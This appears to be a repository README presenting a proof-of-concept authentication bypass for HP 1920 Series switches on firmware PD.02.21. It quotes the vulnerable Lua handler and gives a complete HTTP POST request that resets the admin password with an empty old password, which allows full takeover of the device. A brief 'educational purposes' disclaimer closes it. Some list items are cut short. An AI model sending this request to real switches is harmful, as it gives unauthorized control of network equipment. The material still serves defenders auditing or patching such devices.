
Proof-of-concept exploit for an authentication bypass in HP 1920 Series switches, allowing unauthenticated admin password change via crafted HTTP POST request.
Firmware Version: PD.02.21
Affected Devices: HP 1920 Series Smart Managed Switches
This repository documents a critical authentication bypass vulnerability in HP 1920 Series Smart Managed Switches running firmware version PD.02.21. The vulnerability allows an unauthenticated attacker to change the admin password without prior authentication, effectively allowing complete takeover of the device.
The vulnerability exists in the /login/default_password_cfg.lua script, which handles changing the default password for the device. This script:
oldPwd parameter matches the default password (which is blank/empty)The key vulnerable section in default_password_cfg.lua:
if (request_method == 'POST') then
-- No authentication or session checks!
local defaultPassword = fpaux.string_const("FD_USER_MGR_DEFAULT_PASSWORD")
-- ...
if form_post.oldPwd ~= defaultPassword then
errorStatus = "401 Unauthorized"
errorText = label.old_password_mismatch
else
-- Proceeds to change password
-- ...
end
end
The script lacks critical security controls:
An attacker can exploit this vulnerability using a simple HTTP POST request:
POST /login/default_password_cfg.lua HTTP/1.1
Host: [target-ip]
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]
username=admin&oldPwd=&newPwd=[new-password]&confirmPwd=[new-password]
Note: The oldPwd parameter is left empty as the default password is blank.
This vulnerability allows an unauthenticated attacker to:
Haven't had the time to research who originally discovered this vulnerability I'm just posting a Proof of Concept.
This information is provided for educational purposes only. The author is not responsible for any misuse of this information. Always obtain proper authorization before testing for vulnerabilities.